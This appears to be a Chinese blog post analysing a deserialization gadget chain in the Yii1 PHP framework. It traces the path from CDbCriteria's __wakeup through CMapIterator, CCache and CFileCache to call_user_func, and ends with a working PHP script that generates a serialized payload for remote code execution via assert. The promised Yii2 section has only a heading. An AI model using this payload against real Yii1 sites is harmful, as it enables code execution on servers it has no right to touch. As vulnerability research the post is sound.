yii1反序列化
在yii1中,反序列化的入口点在__wakeup魔术方法,在文件\framework\db\schema\CDbCriteria.php
这里$this->params是可控的,继续看\framework\collections\CMapIterator.php这个类,这里利用了接口Iterator,关于这个接口的详细使用可以查看:https://blog.csdn.net/wuxing26jiayou/article/details/50977462 ,所以会调用到current方法,而这里$this->_d和$this->_key都是可控的
而php另外一个接口ArrayAccess返回实例化对象的数组形式,会直接调用offsetGet方法,在文件\framework\caching\CCache.php中,使用了这个接口
public function offsetGet($id)
{
return $this->get($id);
}
跟进get方法
public function get($id)
{
$value = $this->getValue($this->generateUniqueKey($id));
if($value===false || $this->serializer===false)
//echo 11;exit;
return $value;
if($this->serializer===null)
$value=unserialize($value);
else
$value=call_user_func($this->serializer[1], $value);
if(is_array($value) && (!$value[1] instanceof ICacheDependency || !$value[1]->getHasChanged()))
{
Yii::trace('Serving "'.$id.'" from cache','system.caching.'.get_class($this));
return $value[0];
}
else
return false;
}
这里使用了call_user_func函数执行代码,$this->serializer是可控的,这里只需要满足$value可控就可以执行任意代码,跟进generateUniqueKey方法查看
protected function generateUniqueKey($key)
{
return $this->hashKey ? md5($this->keyPrefix.$key) : $this->keyPrefix.$key;
}
$this->hashKey和$this->keyPrefix是可控的,所以这个方法不重要,继续查看getValue方法:\framework\caching\CFileCache.php
protected function getValue($key)
{
$cacheFile=$this->getCacheFile($key); // key = 0
//echo $this->filemtime($cacheFile);exit;
if(($time=$this->filemtime($cacheFile))>time()) {
return @file_get_contents($cacheFile,false,null,$this->embedExpiry ? 10 : null);
}
elseif($time>0) {
//echo 111;
//exit;
@unlink($cacheFile);
}
return false;
}
这个方法主要是读取文件的内容并返回,继续跟进getCacheFile方法,看$cacheFile是否可控
protected function getCacheFile($key)
{
if($this->directoryLevel>0)
{
$base=$this->cachePath;
for($i=0;$i<$this->directoryLevel;++$i)
{
if(($prefix=substr($key,$i+$i,2))!==false)
$base.=DIRECTORY_SEPARATOR.$prefix;
}
return $base.DIRECTORY_SEPARATOR.$key.$this->cacheFileSuffix;
}
else
return $this->cachePath.DIRECTORY_SEPARATOR.$key.$this->cacheFileSuffix;
}
这里$this->directoryLevel和cachePath、cacheFileSuffix可控,DIRECTORY_SEPARATOR常量为反斜杠,所以在getValue方法中$cacheFile是可控的,由于有个\0
目录存在,可以利用data协议来获取value的值。exp如下:
<?php
class CMapIterator
{
private $_d;
private $_keys = [0];
private $_key = 0;
function __construct($_d)
{
$this->_d = $_d;
}
}
class CDbCriteria
{
function __construct($params)
{
$this->params = $params;
}
}
class CFileCache
{
public $keyPrefix = '';
public $hashKey = false;
public $serializer;
public $cachePath = 'data:text/';
public $directoryLevel = 0;
public $embedExpiry = true;
public $cacheFileSuffix;
function __construct()
{
$this->serializer = [1 => 'assert'];
$this->cacheFileSuffix = ';base64,' . base64_encode('9999999999phpinfo()');
}
}
$a = new \CFileCache();
$b = new \CMapIterator($a);
$c = new \CDbCriteria($b);
echo urlencode(serialize($c))
?>
yii2反序列化
- Post link: http://yoursite.com/2020/10/09/yii1%E5%92%8Cyii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues